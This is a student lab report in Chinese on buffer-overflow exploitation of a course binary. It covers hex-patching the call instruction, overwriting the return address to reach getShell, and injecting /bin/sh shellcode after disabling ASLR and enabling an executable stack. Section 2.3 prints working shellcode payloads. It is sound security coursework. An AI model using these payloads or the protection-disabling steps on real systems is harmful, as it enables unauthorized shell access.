#20232329易杨文轩 2025-2026-1 《网络与系统攻防技术》 实验一实验报告
1.实验内容
本次实验以 Linux 可执行文件 pwn1
为对象。
程序正常流程:main
→ foo
,foo
仅回显用户输入;
程序已含 getShell
片段,可交互式返回 shell,但默认不会被执行。
实验目标:强制运行 getShell
,并进一步实现任意 shellcode 注入。
采用三种缓冲区溢出攻击路径:
-
手工修补
直接修改可执行文件,改写控制流,使程序启动即跳转到getShell
。 -
返回地址覆盖
保持原文件不变,利用foo
局部缓冲区溢出,精确覆盖栈帧返回地址,令foo
返回时转入getShell
。 -
Shellcode 注入
仍利用foo
溢出,在返回地址处填入自构造 shellcode 的注入地址,使程序执行用户注入的任意代码并返回 shell。
2.实验过程
2.1.直接修改程序机器指令,改变程序执行流程
-
首先登录
root
,将主机名改为自己的姓名拼音
-
将可执行文件
pwn1
下载到虚拟机里(这里文件名最开始打错了)
-
输入指令
objdump -d pwn1 | more
找到getshell、foo、main函数
-
通过上图可以发现
main
函数调用了foo
函数d7 ff ff ff
,我们需要修改可执行文件,将调用的地址改为getshell
函数的地址c3 ff ff ff
即可改变程序的执行流程。 -
这里我们需要做以下步骤:
- 1.输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。
- 2.输入%!xxd切换显示模式为16进制。
- 3.输入/e8 d7找到要修改的内容,将d7改为c3。
- 4.输入objdump -d pwn2| more查看修改结果并进行测试
- 最后得到修改成功的
pwn
并且getshell
成功运行。
2.2.构造输入字符串覆盖返回地址,改变程序执行流
- 反编译查看
pwn1
中的汇编代码
- 可以发现,在
main
函数调用的foo
函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,同时在堆栈上压上返回地址值为80484ba
,我们的目标是覆盖返回地址并替换为getshell
的地址。 - 使用
gdb pwn1
调试程序,输入1111111122222222333333334444444455555555
。
- 输入
info r
确认输入字符串哪几个字符会覆盖到返回地址。
-
可以看出,寄存器中的值即为“4321”的ASCII码,这也说明
getShell
函数的首地址,即7d 84 04 08
。 -
我们使用perl先生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入。
- 如上图所示,我们成功获得了
Shell
。
2.3.注入Shellcode并执行
-
我们需要先下载
execstack
,这里给出我个人的方法,仅供参考。 -
下载这个文件:
http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1ubuntu1_amd64.deb
-
解压到虚拟机后使用这个命令:
apt install ./execstack_0.0.20131005-1.1ununtu1_amd64.deb
就可以正常使用了。 -
execstack -s pwn1设置堆栈可执行
-
execstack -q pwn1查询文件的堆栈是否可执行
-
echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
-
more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭
- 输入 perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 输入
(cat input_shellcode;cat) | ./pwn1
将input_shellcode
的输入内容作为pwn1
的输入
- 打开新终端,输入
ps -ef | grep pwn1
查看进程
-
可以得知我们的进程号为
55858
-
启用
gdb
调试程序,输入disassemble foo
反编译foo
函数并进行分析。 -
输入
break *0x080484ae
设置断点。
- 在另一个终端输入命令c并在此终端按一下回车
- 输入
info r esp
查看栈顶指针所在位置,当前ESP
值为0xffffcfec
。
- 使用
x/16x 0xffffcfec
命令查看该地址处的存放内容
-
这里我们找到了
0x01020304
,说明是正确的地址,将栈顶指针地址再加4字节,就是shellcode
应该处于的地址,即0xffffcff0
。 -
使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:
perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
-
输入
(cat input_shellcode; cat) | ./pwn1
,执行ls
命令
- 获取成功
3.问题及解决方案
- 问题1:execstack下载
- 问题1解决方案:如2.3中所演示下载即可
- 问题2:找不到pwn1的进程,如图
- 问题2解决方案:
gdb
模式下,run
指令就好了,同时运行pwn1
的终端不能断。
4.学习感悟、思考等
本次实验对于我来讲还是比较陌生,在前期准备工作上多下了些功夫,指导书中的很多知识之前都没有了解过,很早就听过网络攻防课的难度,这次实际体验了一下,但总的来讲还是收获颇丰,遇到和指导书不一样的地方自己琢磨后能解决,最后顺利完成实验。